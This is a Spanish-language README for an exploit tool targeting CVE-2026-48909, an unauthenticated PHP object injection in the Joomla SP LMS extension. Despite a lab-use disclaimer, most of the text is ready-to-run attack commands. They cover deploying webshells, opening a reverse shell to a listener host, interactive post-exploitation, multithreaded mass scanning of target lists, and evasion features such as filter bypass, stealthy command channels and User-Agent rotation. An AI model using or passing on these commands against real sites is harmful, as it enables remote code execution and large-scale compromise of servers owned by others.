[!IMPORTANT]
Solo para uso autorizado. Esta herramienta está destinada a la investigación de seguridad, educación y pruebas en sistemas que poseas o para los cuales tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido.
Table of Contents
Overview
CVE-2026-48909 es una inyección de objetos PHP no autenticada crítica en la extensión SP LMS de Joomla. Esta herramienta implementa la cadena de ataque completa para que los profesionales de seguridad puedan validar el impacto en entornos de laboratorio o autorizados.
Cubre detección, descubrimiento de rutas, entrega de payloads, post-explotación interactiva (donde esté permitido), evaluación masiva y limpieza opcional.
Vulnerability Details
| Atributo | Valor |
|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Crítico) |
| Vector de Ataque | Red — no autenticado |
| Impacto | Ejecución Remota de Código |
| Producto Afectado | Joomla SP LMS |
| Versiones Afectadas | 1.0.0 – 4.1.3 |
| Versión Parcheada | SP LMS 4.1.4+ |
| Cadena de Gadgets | Requiere Joomla < 5.2.2 |
Matriz de Compatibilidad
| Componente | Versión | RCE |
|---|
| SP LMS | < 4.1.4 | Vulnerable |
| SP LMS | ≥ 4.1.4 | Parcheado |
| Joomla | < 5.2.2 | Cadena de gadgets utilizable |
| Joomla | ≥ 5.2.2 | Cadena de gadgets parcheada |
Features
Principal
| Capacidad | Descripción |
|---|
| Explotación no autenticada | No se requieren credenciales |
| Múltiples payloads | 7 variantes de webshell / ejecución |
| Shell interactivo | Sesión con historial de comandos tras el despliegue |
| Descubrimiento de rutas | Sondeo automático de rutas escribibles |
| Limpieza | Eliminar webshell desplegada tras las pruebas |
Evaluación y Operaciones
| Capacidad | Descripción |
|---|
| Escaneo masivo | Listas de objetivos con múltiples hilos (1000+) |
| Soporte de proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Payloads basados en listener |
| Modo sigiloso | Canales de comandos mediante cabeceras / POST |
| Aleatorización | Nombres UUID para shells, rotación de User-Agent |
| Informes | Exportar como JSON, HTML o CSV |
| Asistencias de detección | Verificación de versión de Joomla, --check-only, --safe-mode |
Notas de Evasión
- Evita caracteres bloqueados por el filtro
cmd de Joomla cuando es posible
- Ruta de escritura PHP en hexadecimal para reducir problemas con padding de base64 y barras
- Retrasos configurables y rotación de User-Agents
- Lógica de reintento entre múltiples candidatos de inyección/ruta
Installation
Prerrequisitos
- Python 3.6+
pip
- Acceso de red al objetivo(s) bajo prueba
Configuración
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Dependencias
requests>=2.31.0
urllib3>=2.0.0
argparse viene incluido en la biblioteca estándar de Python; no es necesario instalarlo mediante pip.
Quick Start
Reemplaza https://target.example con un objetivo de laboratorio o autorizado únicamente.
Objetivo único — descubrir ruta + shell interactivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Verificaciones seguras (sin explotación)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Escaneo masivo
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Reverse shell (laboratorio autorizado)
# Listener
nc -lvnp 4444
# Host de explotación
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Usage Guide
Descubrimiento de rutas
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Ruta escribible conocida
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Sesión interactiva
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Comando único
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Payload sigiloso + interactivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Proxy (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Limpieza
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Command Reference
Objetivo
| Argumento | Descripción |
|---|
target | URL del objetivo único |
--targets, -T FILE | Archivo con objetivos (una URL por línea) |
--path PATH | Ruta absoluta en el servidor para la webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nombre del archivo webshell (por defecto: x.php) |
Red
| Argumento | Descripción |
|---|
--timeout SECONDS | Tiempo de espera de las peticiones (por defecto: 15) |
--insecure | Omitir verificación de certificados TLS |
--proxy URL | ej. http://127.0.0.1:8080 |
--random-ua | Rotar User-Agent (activado por defecto) |
--delay SECONDS | Retardo entre peticiones |
Reverse shell
| Argumento | Descripción |
|---|
--reverse-host HOST | Host del listener |
--reverse-port PORT | Puerto del listener |
Modos
| Argumento | Descripción |
|---|
--interactive, -i | Shell interactivo tras el despliegue |
--check-only | Solo verificar vulnerabilidad |
--safe-mode | Pruebas no destructivas |
--find-path | Auto-descubrir ruta escribible |
--cmd COMMAND | Ejecutar un comando y salir |
--cleanup PATH | Eliminar webshell en la ruta especificada |
--cleanup-after | Limpiar después de la explotación |